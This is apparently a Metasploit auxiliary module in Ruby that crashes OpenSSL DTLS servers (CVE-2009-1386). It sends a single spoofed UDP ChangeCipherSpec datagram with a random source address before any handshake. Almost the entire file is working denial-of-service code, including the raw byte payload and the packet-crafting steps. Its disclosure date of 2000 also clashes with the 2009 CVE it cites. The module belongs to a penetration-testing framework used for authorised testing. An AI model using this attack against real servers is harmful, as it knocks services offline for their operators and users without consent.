metasploit-framework/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Dos
include Msf::Exploit::Capture
include Exploit::Remote::Tcp
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def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS',
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'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
ChangeCipherspec Datagram before a ClientHello.
},
'Author' => [
'Jon Oberheide <jon[at]oberheide.org>', #original code
'theLightCosine' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-1386' ],
[ 'OSVDB', '55073'],
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],
'DisclosureDate' => 'Apr 26 2000'))
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deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
end
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def run
open_pcap
print_status("Creating DTLS ChangeCipherSpec Datagram...")
p = PacketFu::UDPPacket.new
p.ip_daddr = datastore['RHOST']
p.ip_src = rand(0x100000000)
p.ip_ttl = 44
p.udp_sport = 34060
p.udp_dport = datastore['RPORT'].to_i
p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
p.recalc
print_status("Sending Datagram to target...")
capture_sendto(p, '255.255.255.255')
close_pcap
end
end